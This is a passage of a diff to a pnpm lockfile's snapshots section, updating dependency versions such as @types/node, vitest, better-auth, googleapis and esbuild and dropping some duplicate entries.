-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
   '@types/chai@5.2.3':
     dependencies:
@@ -12629,7 +13192,7 @@ snapshots:
 
   '@types/connect@3.4.38':
     dependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
   '@types/cookiejar@2.1.5': {}
 
@@ -12766,7 +13329,7 @@ snapshots:
 
   '@types/express-serve-static-core@5.1.3':
     dependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
       '@types/qs': 6.15.1
       '@types/range-parser': 1.2.7
       '@types/send': 1.2.1
@@ -12785,12 +13348,12 @@ snapshots:
 
   '@types/http-errors@2.0.5': {}
 
-  '@types/jsdom@28.0.0':
+  '@types/jsdom@30.0.0':
     dependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
       '@types/tough-cookie': 4.0.5
-      parse5: 7.3.0
-      undici-types: 7.24.4
+      parse5: 8.0.1
+      undici-types: 8.10.0
 
   '@types/mdast@4.0.4':
     dependencies:
@@ -12806,9 +13369,9 @@ snapshots:
     dependencies:
       '@types/express': 5.0.6
 
-  '@types/node@22.20.1':
+  '@types/node@24.13.3':
     dependencies:
-      undici-types: 6.21.0
+      undici-types: 7.18.2
 
   '@types/node@25.2.3':
     dependencies:
@@ -12819,11 +13382,11 @@ snapshots:
 
   '@types/range-parser@1.2.7': {}
 
-  '@types/react-dom@19.2.3(@types/react@19.2.17)':
+  '@types/react-dom@19.2.4(@types/react@19.2.18)':
     dependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@types/react@19.2.17':
+  '@types/react@19.2.18':
     dependencies:
       csstype: 3.2.3
 
@@ -12833,16 +13396,16 @@ snapshots:
 
   '@types/send@1.2.1':
     dependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
   '@types/serve-static@2.2.0':
     dependencies:
       '@types/http-errors': 2.0.5
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
-  '@types/sharp@0.32.0(@types/node@22.20.1)':
+  '@types/sharp@0.32.0(@types/node@24.13.3)':
     dependencies:
-      sharp: 0.35.3(@types/node@22.20.1)
+      sharp: 0.35.3(@types/node@24.13.3)
     transitivePeerDependencies:
       - '@types/node'
 
@@ -12850,7 +13413,7 @@ snapshots:
     dependencies:
       '@types/cookiejar': 2.1.5
       '@types/methods': 1.1.4
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
       form-data: 4.0.5
 
   '@types/supertest@6.0.3':
@@ -12868,7 +13431,7 @@ snapshots:
 
   '@types/ws@8.18.1':
     dependencies:
-      '@types/node': 22.20.1
+      '@types/node': 24.13.3
 
   '@ungap/structured-clone@1.3.0': {}
 
@@ -12877,15 +13440,15 @@ snapshots:
       d3-selection: 3.0.0
       d3-transition: 3.0.1(d3-selection@3.0.0)
 
-  '@vitejs/plugin-react@4.7.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@vitejs/plugin-react@5.2.0(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
-      '@babel/core': 7.29.0
-      '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0)
-      '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0)
-      '@rolldown/pluginutils': 1.0.0-beta.27
+      '@babel/core': 7.29.7
+      '@babel/plugin-transform-react-jsx-self': 7.29.7(@babel/core@7.29.7)
+      '@babel/plugin-transform-react-jsx-source': 7.29.7(@babel/core@7.29.7)
+      '@rolldown/pluginutils': 1.0.0-rc.3
       '@types/babel__core': 7.20.5
-      react-refresh: 0.17.0
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      react-refresh: 0.18.0
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
     transitivePeerDependencies:
       - supports-color
 
@@ -12906,29 +13469,46 @@ snapshots:
       chai: 6.2.2
       tinyrainbow: 3.1.0
 
-  '@vitest/mocker@4.1.10(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@vitest/expect@4.1.11':
     dependencies:
-      '@vitest/spy': 4.1.10
-      estree-walker: 3.0.3
-      magic-string: 0.30.21
-    optionalDependencies:
-      vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      '@standard-schema/spec': 1.1.0
+      '@types/chai': 5.2.3
+      '@vitest/spy': 4.1.11
+      '@vitest/utils': 4.1.11
+      chai: 6.2.2
+      tinyrainbow: 3.1.1
 
-  '@vitest/mocker@4.1.10(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@vitest/mocker@4.1.10(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
       '@vitest/spy': 4.1.10
       estree-walker: 3.0.3
       magic-string: 0.30.21
     optionalDependencies:
-      vite: 7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
 
-  '@vitest/mocker@4.1.10(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))':
+  '@vitest/mocker@4.1.10(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
     dependencies:
       '@vitest/spy': 4.1.10
       estree-walker: 3.0.3
       magic-string: 0.30.21
     optionalDependencies:
-      vite: 7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+      vite: 7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
+
+  '@vitest/mocker@4.1.10(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
+    dependencies:
+      '@vitest/spy': 4.1.10
+      estree-walker: 3.0.3
+      magic-string: 0.30.21
+    optionalDependencies:
+      vite: 7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
+
+  '@vitest/mocker@4.1.11(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))':
+    dependencies:
+      '@vitest/spy': 4.1.11
+      estree-walker: 3.0.3
+      magic-string: 0.30.21
+    optionalDependencies:
+      vite: 7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
 
   '@vitest/pretty-format@3.2.4':
     dependencies:
@@ -12938,11 +13518,20 @@ snapshots:
     dependencies:
       tinyrainbow: 3.1.0
 
+  '@vitest/pretty-format@4.1.11':
+    dependencies:
+      tinyrainbow: 3.1.1
+
   '@vitest/runner@4.1.10':
     dependencies:
       '@vitest/utils': 4.1.10
       pathe: 2.0.3
 
+  '@vitest/runner@4.1.11':
+    dependencies:
+      '@vitest/utils': 4.1.11
+      pathe: 2.0.3
+
   '@vitest/snapshot@4.1.10':
     dependencies:
       '@vitest/pretty-format': 4.1.10
@@ -12950,12 +13539,21 @@ snapshots:
       magic-string: 0.30.21
       pathe: 2.0.3
 
+  '@vitest/snapshot@4.1.11':
+    dependencies:
+      '@vitest/pretty-format': 4.1.11
+      '@vitest/utils': 4.1.11
+      magic-string: 0.30.21
+      pathe: 2.0.3
+
   '@vitest/spy@3.2.4':
     dependencies:
       tinyspy: 4.0.4
 
   '@vitest/spy@4.1.10': {}
 
+  '@vitest/spy@4.1.11': {}
+
   '@vitest/utils@3.2.4':
     dependencies:
       '@vitest/pretty-format': 3.2.4
@@ -12968,6 +13566,12 @@ snapshots:
       convert-source-map: 2.0.0
       tinyrainbow: 3.1.0
 
+  '@vitest/utils@4.1.11':
+    dependencies:
+      '@vitest/pretty-format': 4.1.11
+      convert-source-map: 2.0.0
+      tinyrainbow: 3.1.1
+
   '@webcontainer/env@1.1.1': {}
 
   '@xterm/addon-fit@0.11.0': {}
@@ -12988,12 +13592,14 @@ snapshots:
 
   acorn@8.17.0: {}
 
+  acorn@8.18.0: {}
+
   acpx@0.12.0(patch_hash=x3fethhotv43zektyl5prdwf54):
     dependencies:
       '@agentclientprotocol/sdk': 1.2.1(zod@4.4.3)
       commander: 15.0.0
       skillflag: 0.2.0
-      tsx: 4.23.1
+      tsx: 4.23.12
       zod: 4.4.3
     transitivePeerDependencies:
       - bare-abort-controller
@@ -13037,7 +13643,7 @@ snapshots:
 
   ansi-regex@5.0.1: {}
 
-  ansi-regex@6.2.2: {}
+  ansi-regex@6.3.0: {}
 
   ansi-styles@4.3.0:
     dependencies:
@@ -13078,17 +13684,17 @@ snapshots:
 
   assertion-error@2.0.1: {}
 
-  assistant-cloud@0.1.31:
+  assistant-cloud@0.1.41:
     dependencies:
-      assistant-stream: 0.3.20
+      assistant-stream: 0.3.38
     transitivePeerDependencies:
       - ioredis
       - redis
 
-  assistant-stream@0.3.20:
+  assistant-stream@0.3.38:
     dependencies:
       '@standard-schema/spec': 1.1.0
-      nanoid: 5.1.11
+      nanoid: 6.0.1
       secure-json-parse: 4.1.0
 
   ast-types@0.16.1:
@@ -13101,7 +13707,7 @@ snapshots:
 
   atomic-sleep@1.0.0: {}
 
-  axe-core@4.12.1: {}
+  axe-core@4.13.0: {}
 
   b4a@1.8.1: {}
 
@@ -13142,49 +13748,47 @@ snapshots:
 
   base64-js@1.5.1: {}
 
-  baseline-browser-mapping@2.10.43: {}
-
-  baseline-browser-mapping@2.9.19: {}
+  baseline-browser-mapping@2.11.15: {}
 
   bcrypt-pbkdf@1.0.2:
     dependencies:
       tweetnacl: 0.14.5
 
-  better-auth@1.6.25(@opentelemetry/api@1.9.1)(drizzle-kit@0.31.10)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.18.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))):
+  better-auth@1.6.28(@opentelemetry/api@1.9.1)(drizzle-kit@0.31.10)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.18.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))):
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
-      '@better-auth/drizzle-adapter': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))
-      '@better-auth/kysely-adapter': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(kysely@0.29.4)
-      '@better-auth/memory-adapter': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)
-      '@better-auth/mongo-adapter': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)
-      '@better-auth/prisma-adapter': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)
-      '@better-auth/telemetry': 1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
+      '@better-auth/drizzle-adapter': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))
+      '@better-auth/kysely-adapter': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(kysely@0.29.5)
+      '@better-auth/memory-adapter': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)
+      '@better-auth/mongo-adapter': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)
+      '@better-auth/prisma-adapter': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)
+      '@better-auth/telemetry': 1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)
       '@better-auth/utils': 0.4.2
       '@better-fetch/fetch': 1.3.1
-      '@noble/ciphers': 2.2.0
-      '@noble/hashes': 2.2.0
-      better-call: 1.3.7(zod@4.4.3)
+      '@noble/ciphers': 2.3.0
+      '@noble/hashes': 2.3.0
+      better-call: 1.4.0(zod@4.4.3)
       defu: 6.1.7
-      jose: 6.2.4
-      kysely: 0.29.4
-      nanostores: 1.4.1
+      jose: 6.2.9
+      kysely: 0.29.5
+      nanostores: 1.5.0
       zod: 4.4.3
     optionalDependencies:
       drizzle-kit: 0.31.10
-      drizzle-orm: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
+      drizzle-orm: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
       pg: 8.18.0
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      vitest: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      vitest: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
     transitivePeerDependencies:
       - '@cloudflare/workers-types'
       - '@opentelemetry/api'
 
-  better-call@1.3.7(zod@4.4.3):
+  better-call@1.4.0(zod@4.4.3):
     dependencies:
-      '@better-auth/utils': 0.4.2
+      '@better-auth/utils': 0.5.0
       '@better-fetch/fetch': 1.3.1
-      rou3: 0.7.12
+      rou3: 0.9.2
       set-cookie-parser: 3.1.2
     optionalDependencies:
       zod: 4.4.3
@@ -13229,29 +13833,21 @@ snapshots:
       concat-map: 0.0.1
     optional: true
 
-  brace-expansion@2.1.2:
+  brace-expansion@2.1.4:
     dependencies:
       balanced-match: 1.0.2
 
-  brace-expansion@5.0.7:
+  brace-expansion@5.0.9:
     dependencies:
       balanced-match: 4.0.4
 
-  browserslist@4.28.1:
+  browserslist@4.28.8:
     dependencies:
-      baseline-browser-mapping: 2.9.19
-      caniuse-lite: 1.0.30001770
-      electron-to-chromium: 1.5.286
-      node-releases: 2.0.27
-      update-browserslist-db: 1.2.3(browserslist@4.28.1)
-
-  browserslist@4.28.6:
-    dependencies:
-      baseline-browser-mapping: 2.10.43
-      caniuse-lite: 1.0.30001805
-      electron-to-chromium: 1.5.389
-      node-releases: 2.0.51
-      update-browserslist-db: 1.2.3(browserslist@4.28.6)
+      baseline-browser-mapping: 2.11.15
+      caniuse-lite: 1.0.30001809
+      electron-to-chromium: 1.5.409
+      node-releases: 2.0.53
+      update-browserslist-db: 1.3.1(browserslist@4.28.8)
 
   buffer-equal-constant-time@1.0.1: {}
 
@@ -13315,9 +13911,7 @@ snapshots:
       call-bind-apply-helpers: 1.0.2
       get-intrinsic: 1.3.0
 
-  caniuse-lite@1.0.30001770: {}
-
-  caniuse-lite@1.0.30001805: {}
+  caniuse-lite@1.0.30001809: {}
 
   ccount@2.0.1: {}
 
@@ -13341,9 +13935,9 @@ snapshots:
 
   check-error@2.1.3: {}
 
-  chokidar@4.0.3:
+  chokidar@5.0.0:
     dependencies:
-      readdirp: 4.1.2
+      readdirp: 5.1.1
 
   chownr@1.1.4:
     optional: true
@@ -13371,14 +13965,14 @@ snapshots:
       '@codemirror/view': 6.43.8
       '@lezer/highlight': 1.2.3
 
-  cmdk@1.1.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
+  cmdk@1.1.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dialog': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dialog': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     transitivePeerDependencies:
       - '@types/react'
       - '@types/react-dom'
@@ -13490,13 +14084,6 @@ snapshots:
 
   cssesc@3.0.0: {}
 
-  cssstyle@6.2.0:
-    dependencies:
-      '@asamuzakjp/css-color': 5.0.1
-      '@csstools/css-syntax-patches-for-csstree': 1.1.1(css-tree@3.2.1)
-      css-tree: 3.2.1
-      lru-cache: 11.2.7
-
   csstype@3.2.3: {}
 
   cytoscape-cose-bilkent@4.1.0(cytoscape@3.34.1):
@@ -13690,10 +14277,10 @@ snapshots:
 
   data-uri-to-buffer@4.0.1: {}
 
-  data-urls@7.0.0(@noble/hashes@2.2.0):
+  data-urls@7.0.0(@noble/hashes@2.3.0):
     dependencies:
       whatwg-mimetype: 5.0.0
-      whatwg-url: 16.0.1(@noble/hashes@2.2.0)
+      whatwg-url: 16.0.1(@noble/hashes@2.3.0)
     transitivePeerDependencies:
       - '@noble/hashes'
 
@@ -13725,7 +14312,7 @@ snapshots:
 
   default-browser-id@5.0.1: {}
 
-  default-browser@5.5.0:
+  default-browser@5.5.1:
     dependencies:
       bundle-name: 4.1.0
       default-browser-id: 5.0.1
@@ -13786,12 +14373,12 @@ snapshots:
 
   dotenv@17.4.2: {}
 
-  downshift@7.6.2(react@19.2.7):
+  downshift@7.6.2(react@19.2.8):
     dependencies:
       '@babel/runtime': 7.29.7
       compute-scroll-into-view: 2.0.4
       prop-types: 15.8.1
-      react: 19.2.7
+      react: 19.2.8
       react-is: 17.0.2
       tslib: 2.8.1
 
@@ -13800,13 +14387,13 @@ snapshots:
       '@drizzle-team/brocli': 0.10.2
       '@esbuild-kit/esm-loader': 2.6.5
       esbuild: 0.25.12
-      tsx: 4.23.1
+      tsx: 4.23.12
 
-  drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7):
+  drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7):
     optionalDependencies:
       '@electric-sql/pglite': 0.3.15
       '@opentelemetry/api': 1.9.1
-      kysely: 0.29.4
+      kysely: 0.29.5
       pg: 8.18.0
       postgres: 3.4.9
       sqlite3: 5.1.7
@@ -13825,9 +14412,7 @@ snapshots:
 
   ee-first@1.1.1: {}
 
-  electron-to-chromium@1.5.286: {}
-
-  electron-to-chromium@1.5.389: {}
+  electron-to-chromium@1.5.409: {}
 
   embedded-postgres@18.1.0-beta.16(patch_hash=55uhvnotpqyiy37rn3pqpukhei):
     dependencies:
@@ -13867,7 +14452,7 @@ snapshots:
       graceful-fs: 4.2.11
       tapable: 2.3.3
 
-  entities@6.0.1: {}
+  entities@8.0.0: {}
 
   env-paths@2.2.1:
     optional: true
@@ -13881,6 +14466,8 @@ snapshots:
 
   es-module-lexer@2.3.1: {}
 
+  es-module-lexer@2.3.2: {}
+
   es-object-atoms@1.1.1:
     dependencies:
       es-errors: 1.3.0
@@ -14024,6 +14611,35 @@ snapshots:
       '@esbuild/win32-ia32': 0.28.1
       '@esbuild/win32-x64': 0.28.1
 
+  esbuild@0.28.2:
+    optionalDependencies:
+      '@esbuild/aix-ppc64': 0.28.2
+      '@esbuild/android-arm': 0.28.2
+      '@esbuild/android-arm64': 0.28.2
+      '@esbuild/android-x64': 0.28.2
+      '@esbuild/darwin-arm64': 0.28.2
+      '@esbuild/darwin-x64': 0.28.2
+      '@esbuild/freebsd-arm64': 0.28.2
+      '@esbuild/freebsd-x64': 0.28.2
+      '@esbuild/linux-arm': 0.28.2
+      '@esbuild/linux-arm64': 0.28.2
+      '@esbuild/linux-ia32': 0.28.2
+      '@esbuild/linux-loong64': 0.28.2
+      '@esbuild/linux-mips64el': 0.28.2
+      '@esbuild/linux-ppc64': 0.28.2
+      '@esbuild/linux-riscv64': 0.28.2
+      '@esbuild/linux-s390x': 0.28.2
+      '@esbuild/linux-x64': 0.28.2
+      '@esbuild/netbsd-arm64': 0.28.2
+      '@esbuild/netbsd-x64': 0.28.2
+      '@esbuild/openbsd-arm64': 0.28.2
+      '@esbuild/openbsd-x64': 0.28.2
+      '@esbuild/openharmony-arm64': 0.28.2
+      '@esbuild/sunos-x64': 0.28.2
+      '@esbuild/win32-arm64': 0.28.2
+      '@esbuild/win32-ia32': 0.28.2
+      '@esbuild/win32-x64': 0.28.2
+
   escalade@3.2.0: {}
 
   escape-carriage@1.3.1: {}
@@ -14201,6 +14817,15 @@ snapshots:
 
   forwarded@0.2.0: {}
 
+  framer-motion@12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8):
+    dependencies:
+      motion-dom: 12.43.0
+      motion-utils: 12.39.0
+      tslib: 2.8.1
+    optionalDependencies:
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+
   fresh@2.0.0: {}
 
   fs-constants@1.0.0:
@@ -14243,7 +14868,7 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  gaxios@7.2.0:
+  gaxios@7.3.1:
     dependencies:
       extend: 3.0.2
       https-proxy-agent: 7.0.6
@@ -14251,15 +14876,7 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  gcp-metadata@8.1.2:
-    dependencies:
-      gaxios: 7.2.0
-      google-logging-utils: 1.1.3
-      json-bigint: 1.0.0
-    transitivePeerDependencies:
-      - supports-color
-
-  gcp-metadata@8.1.3:
+  gcp-metadata@8.1.4:
     dependencies:
       gaxios: 7.1.3
       google-logging-utils: 1.1.3
@@ -14309,7 +14926,7 @@ snapshots:
 
   glob@13.0.6:
     dependencies:
-      minimatch: 10.2.5
+      minimatch: 10.2.6
       minipass: 7.1.3
       path-scurry: 2.0.2
 
@@ -14327,42 +14944,33 @@ snapshots:
     dependencies:
       base64-js: 1.5.1
       ecdsa-sig-formatter: 1.0.11
-      gaxios: 7.1.3
-      gcp-metadata: 8.1.3
-      google-logging-utils: 1.1.3
+      gaxios: 7.3.1
+      gcp-metadata: 8.1.4
+      google-logging-utils: 1.2.0
       gtoken: 8.0.0
       jws: 4.0.1
     transitivePeerDependencies:
       - supports-color
 
-  google-auth-library@10.9.0:
-    dependencies:
-      base64-js: 1.5.1
-      ecdsa-sig-formatter: 1.0.11
-      gaxios: 7.2.0
-      gcp-metadata: 8.1.2
-      google-logging-utils: 1.1.3
-      jws: 4.0.1
-    transitivePeerDependencies:
-      - supports-color
-
   google-logging-utils@1.1.3: {}
 
-  googleapis-common@8.0.2:
+  google-logging-utils@1.2.0: {}
+
+  googleapis-common@8.0.3:
     dependencies:
       extend: 3.0.2
       gaxios: 7.1.3
       google-auth-library: 10.5.0
       google-logging-utils: 1.1.3
-      qs: 6.15.0
+      qs: 6.15.3
       url-template: 2.0.8
     transitivePeerDependencies:
       - supports-color
 
-  googleapis@164.1.0:
+  googleapis@174.0.1:
     dependencies:
-      google-auth-library: 10.9.0
-      googleapis-common: 8.0.2
+      google-auth-library: 10.5.0
+      googleapis-common: 8.0.3
     transitivePeerDependencies:
       - supports-color
 
@@ -14372,7 +14980,7 @@ snapshots:
 
   gtoken@8.0.0:
     dependencies:
-      gaxios: 7.1.3
+      gaxios: 7.3.1
       jws: 4.0.1
     transitivePeerDependencies:
       - supports-color
@@ -14438,15 +15046,13 @@ snapshots:
 
   hono@4.13.2: {}
 
-  html-encoding-sniffer@6.0.0(@noble/hashes@2.2.0):
+  html-encoding-sniffer@6.0.0(@noble/hashes@2.3.0):
     dependencies:
-      '@exodus/bytes': 1.15.0(@noble/hashes@2.2.0)
+      '@exodus/bytes': 1.15.1(@noble/hashes@2.3.0)
     transitivePeerDependencies:
       - '@noble/hashes'
 
-  html-parse-stringify@3.0.1:
-    dependencies:
-      void-elements: 3.1.0
+  html-parse-stringify@4.0.1: {}
 
   html-url-attributes@3.0.1: {}
 
@@ -14472,13 +15078,6 @@ snapshots:
       - supports-color
     optional: true
 
-  http-proxy-agent@7.0.2:
-    dependencies:
-      agent-base: 7.1.4
-      debug: 4.4.3
-    transitivePeerDependencies:
-      - supports-color
-
   https-proxy-agent@5.0.1:
     dependencies:
       agent-base: 6.0.2
@@ -14606,10 +15205,10 @@ snapshots:
 
   jiti@2.7.0: {}
 
-  jose@6.2.4: {}
-
   jose@6.2.8: {}
 
+  jose@6.2.9: {}
+
   joycon@3.1.1: {}
 
   js-tokens@4.0.0: {}
@@ -14618,32 +15217,31 @@ snapshots:
     dependencies:
       argparse: 2.0.1
 
